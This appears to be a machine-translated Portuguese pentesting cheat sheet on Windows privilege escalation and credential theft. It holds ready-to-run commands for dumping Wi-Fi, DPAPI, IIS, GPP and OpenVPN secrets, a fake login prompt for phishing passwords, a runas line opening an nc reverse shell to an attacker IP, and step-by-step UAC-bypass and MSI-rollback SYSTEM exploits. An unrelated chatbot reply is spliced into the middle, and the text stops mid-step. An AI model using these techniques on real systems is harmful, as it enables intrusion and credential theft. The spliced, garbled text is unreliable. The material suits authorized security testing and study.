O Windows Vault armazena credenciais de usuário para servidores, sites e outros programas com os quais o Windows pode efetuar login nos usuários automaticamente. À primeira vista, isso pode parecer que os usuários possam armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente via navegadores. Mas não é assim.

O Windows Vault armazena credenciais que o Windows pode usar para efetuar login nos usuários automaticamente, o que significa que qualquer aplicativo do Windows que precise de credenciais para acessar um recurso (servidor ou um site) pode fazer uso deste Credential Manager e do Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo.

A menos que os aplicativos interajam com o Credential Manager, não acredito que seja possível que eles utilizem as credenciais para um determinado recurso. Portanto, se o seu aplicativo quiser fazer uso do vault, ele deve de alguma forma comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso do cofre de armazenamento padrão.

Use o cmdkey para listar as credenciais armazenadas na máquina.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Então você pode usar runas com a opção /savecred para usar as credenciais salvas. O exemplo a seguir está chamando um binário remoto via um compartilhamento SMB.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas com um conjunto de credentials fornecido.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Observe que mimikatz, lazagne, credentialfileview, VaultPasswordView, ou do Empire Powershells module.

DPAPI

A Data Protection API (DPAPI) fornece um método para criptografia simétrica de dados, predominantemente usada no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia aproveita um segredo do usuário ou do sistema para contribuir significativamente para a entropia.

A DPAPI permite a criptografia de chaves por meio de uma chave simétrica que é derivada dos segredos de login do usuário. Em cenários envolvendo criptografia do sistema, ela utiliza os segredos de autenticação de domínio do sistema.

As chaves RSA de usuário criptografadas, ao usar DPAPI, são armazenadas no diretório %APPDATA%\Microsoft\Protect\{SID}, onde {SID} representa o Security Identifier do usuário. A chave DPAPI, co-localizada com a chave mestre que protege as chaves privadas do usuário no mesmo arquivo, normalmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a esse diretório é restrito, impedindo listar seu conteúdo via o comando dir no CMD, embora possa ser listado via PowerShell).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Você pode usar o mimikatz module dpapi::masterkey com os argumentos apropriados (/pvk ou /rpc) para descriptografá-lo.

Os arquivos de credenciais protegidos pela master password geralmente estão localizados em:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Você pode usar mimikatz module dpapi::cred com o /masterkey apropriado para descriptografar.
Você pode extrair muitos DPAPI masterkeys da memória com o módulo sekurlsa::dpapi (se você for root).

DPAPI - Extracting Passwords

Credenciais do PowerShell

Credenciais do PowerShell são frequentemente usadas em tarefas de scripting e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando DPAPI, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas.

Para descriptografar uma credencial do PowerShell a partir do arquivo que a contém, você pode fazer:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexões RDP Salvas

Você pode encontrá-las em HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e em HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos executados recentemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gerenciador de Credenciais da Área de Trabalho Remota

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
Você pode extrair muitas DPAPI masterkeys da memória com o módulo Mimikatz sekurlsa::dpapi

Sticky Notes

As pessoas frequentemente usam o aplicativo StickyNotes em estações de trabalho Windows para salvar senhas e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite e sempre vale a pena procurá-lo e examiná-lo.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe está localizado no diretório %systemroot%\system32\inetsrv\.
Se esse arquivo existir então é possível que algumas credentials tenham sido configuradas e possam ser recuperadas.

This code was extracted from PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Verifique se C:\Windows\CCM\SCClient.exe existe .
Instaladores são executados com privilégios SYSTEM, muitos são vulneráveis a DLL Sideloading (Informações de https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Arquivos e Registro (Credentials)

Putty Creds

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chaves de Host SSH do Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Chaves SSH no registro

Chaves privadas SSH podem ser armazenadas dentro da chave de registro HKCU\Software\OpenSSH\Agent\Keys, então você deve verificar se há algo interessante lá:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se você encontrar alguma entrada dentro desse caminho, provavelmente será uma chave SSH salva. Ela é armazenada criptografada, mas pode ser facilmente descriptografada usando https://github.com/ropnop/windows_sshagent_extract.
Mais informações sobre esta técnica aqui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se o serviço ssh-agent não estiver em execução e você quiser que ele seja iniciado automaticamente na inicialização, execute:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Parece que esta técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com ssh-add e conectar via ssh a uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de dpapi.dll durante a autenticação de chave assimétrica.

Arquivos não supervisionados

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Você também pode procurar por esses arquivos usando metasploit: post/windows/gather/enum_unattend

Conteúdo de exemplo:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Backups do SAM & SYSTEM

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciais na nuvem

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Procure por um arquivo chamado SiteList.xml

Senha GPP em cache

Um recurso existia anteriormente que permitia a implantação de contas locais de administrador personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). Contudo, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão publicamente documentada, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados.

Para mitigar esse risco, foi desenvolvida uma função para procurar arquivos GPP armazenados localmente contendo um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, ajudando na identificação e remediação dessa vulnerabilidade de segurança.

Pesquise em C:\ProgramData\Microsoft\Group Policy\history ou em C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior ao W Vista) por estes arquivos:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descriptografar o cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obter as senhas:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Configuração Web do IIS

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Exemplo de web.config com credenciais:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciais OpenVPN

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credenciais

Você sempre pode pedir ao usuário que insira suas credentials ou até mesmo as credentials de outro usuário se achar que ele as conhece (observe que pedir ao cliente diretamente as credentials é realmente arriscado):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possíveis nomes de arquivos contendo credenciais

Arquivos conhecidos que, algum tempo atrás, continham senhas em clear-text ou Base64

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Não recebi os conteúdos dos arquivos a serem pesquisados. Por favor, envie o conteúdo de src/windows-hardening/windows-local-privilege-escalation/README.md (ou os arquivos/pastas a pesquisar) — você pode colar o texto aqui ou anexar os arquivos — para que eu possa traduzir conforme as instruções.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciais no RecycleBin

Verifique também a Bin para procurar credenciais nela

Para recuperar senhas salvas por vários programas você pode usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro do registro

Outras possíveis chaves do registro com credenciais

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Histórico dos Navegadores

Você deve verificar DBs onde senhas do Chrome ou Firefox são armazenadas.
Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas senhas estejam armazenadas lá.

Ferramentas para extrair senhas dos navegadores:

COM DLL Overwriting

Component Object Model (COM) é uma tecnologia presente no sistema operacional Windows que permite a intercomunicação entre componentes de software de diferentes linguagens. Cada componente COM é identificado via class ID (CLSID) e cada componente expõe funcionalidades via uma ou mais interfaces, identificadas via interface IDs (IIDs).

As classes e interfaces COM são definidas no registro em HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface, respectivamente. Esse registro é criado ao mesclar HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Dentro dos CLSIDs desse registro você pode encontrar a chave filha InProcServer32 que contém um valor padrão apontando para uma DLL e um valor chamado ThreadingModel que pode ser Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) ou Neutral (Thread Neutral).

Basicamente, se você conseguir sobrescrever qualquer uma das DLLs que serão executadas, você poderia escalar privilégios se essa DLL for executada por um usuário diferente.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Pesquisa genérica de senhas em arquivos e no registro

Procurar por conteúdo de arquivos

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Procurar por um arquivo com um determinado nome

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pesquisar no registro por nomes de chaves e senhas

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Ferramentas que procuram por senhas

MSF-Credentials Plugin is a msf plugin que eu criei para automatically execute every metasploit POST module that searches for credentials dentro da vítima.
Winpeas procura automaticamente por todos os arquivos que contenham senhas mencionados nesta página.
Lazagne é outra ótima ferramenta para extrair senhas de um sistema.

A ferramenta SessionGopher procura por sessions, usernames e passwords de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine que um processo rodando como SYSTEM abra um novo processo (OpenProcess()) com full access. O mesmo processo também cria um novo processo (CreateProcess()) com low privileges mas herdando todos os open handles do processo principal.
Então, se você tiver full access ao low privileged process, você pode capturar o open handle para o privileged process criado com OpenProcess() e injetar um shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Segmentos de memória compartilhada, referidos como pipes, permitem comunicação entre processos e transferência de dados.

O Windows fornece um recurso chamado Named Pipes, permitindo que processos não relacionados compartilhem dados, inclusive em redes diferentes. Isso se assemelha a uma arquitetura client/server, com papéis definidos como named pipe server e named pipe client.

Quando dados são enviados por um client através de um pipe, o server que criou o pipe tem a capacidade de assumir a identidade do client, desde que possua os direitos SeImpersonate necessários. Identificar um privileged process que se comunica via um pipe que você consegue mimicar oferece a oportunidade de gain higher privileges ao adotar a identidade desse processo quando ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse ataque, guias úteis podem ser encontrados here e here.

Além disso, a ferramenta a seguir permite interceptar uma comunicação de named pipe com uma ferramenta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e esta ferramenta permite listar e ver todos os pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

Confira a página https://filesec.io/

Monitoring Command Lines for passwords

Ao obter um shell como um usuário, podem existir tarefas agendadas ou outros processos sendo executados que passam credenciais na linha de comando. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Roubando senhas de processos

De um usuário com poucos privilégios para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se você tiver acesso à interface gráfica (via console ou RDP) e o UAC estiver habilitado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios.

Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo usando a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft.

Alguns dos sistemas afetados são os seguintes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explorar esta vulnerabilidade, é necessário executar os seguintes passos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Você tem todos os arquivos e informações necessários no seguinte repositório GitHub:

https://github.com/jas502n/CVE-2019-1388

De Administrador (Medium) para High Integrity Level / UAC Bypass

Leia isto para aprender sobre Níveis de Integridade:

Integrity Levels

Em seguida, leia isto para aprender sobre UAC e UAC bypasses:

UAC - User Account Control

De Exclusão/Movimentação/Renominação Arbitrária de Pasta para SYSTEM EoP

A técnica descrita in this blog post com um exploit code available here.

O ataque basicamente consiste em abusar do recurso de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um malicious MSI installer que será usado para sequestrar a pasta C:\Config.Msi, que mais tarde será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI onde os arquivos de rollback terão sido modificados para conter o payload malicioso.

A técnica resumida é a seguinte:

  1. Stage 1 – Preparando o Sequestro (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as "UAC Compliant", so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

Neste ponto, dispare a vulnerabilidade de exclusão arbitrária de pasta em nível SYSTEM para deletar C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs são aplicadas apenas na abertura do handle, então você ainda pode escrever na pasta.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

De Exclusão/Movimentação/Renominação Arbitrária de Arquivo para SYSTEM EoP

A técnica principal de rollback do MSI (a anterior) assume que você pode excluir uma pasta inteira (e.g., C:\Config.Msi). Mas e se sua vulnerabilidade apenas permitir exclusão arbitrária de arquivos ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

This stream armazena os metadados de índice da pasta.

Então, se você excluir o ::$INDEX_ALLOCATION stream de uma pasta, NTFS remove a pasta inteira do sistema de arquivos.

Você pode fazer isso usando APIs padrão de exclusão de arquivos como:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Mesmo que você esteja chamando uma file delete API, isso deleta a própria folder.

De Folder Contents Delete para SYSTEM EoP

E se sua primitive não permitir que você exclua arquivos/folders arbitrários, mas ela permite a exclusão do contents de uma folder controlada pelo attacker?

  1. Etapa 1: Crie uma folder isca e um file
  • Crie: C:\temp\folder1
  • Dentro dela: C:\temp\folder1\file1.txt
  1. Etapa 2: Coloque um oplock em file1.txt
  • O oplock pausa a execução quando um processo privilegiado tenta excluir file1.txt.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Passo 3: Acionar o processo SYSTEM (por exemplo, SilentCleanup)
  • Este processo varre pastas (por exemplo, %TEMP%) e tenta excluir seus conteúdos.
  • Quando alcança file1.txt, o oplock é acionado e passa o controle para seu callback.
  1. Passo 4: Dentro do callback do oplock – redirecionar a exclusão

  • Opção A: Mover file1.txt para outro local

  • Isso esvazia folder1 sem quebrar o oplock.

  • Não exclua file1.txt diretamente — isso liberaria o oplock prematuramente.

  • Opção B: Converter folder1 em uma junction:

bash
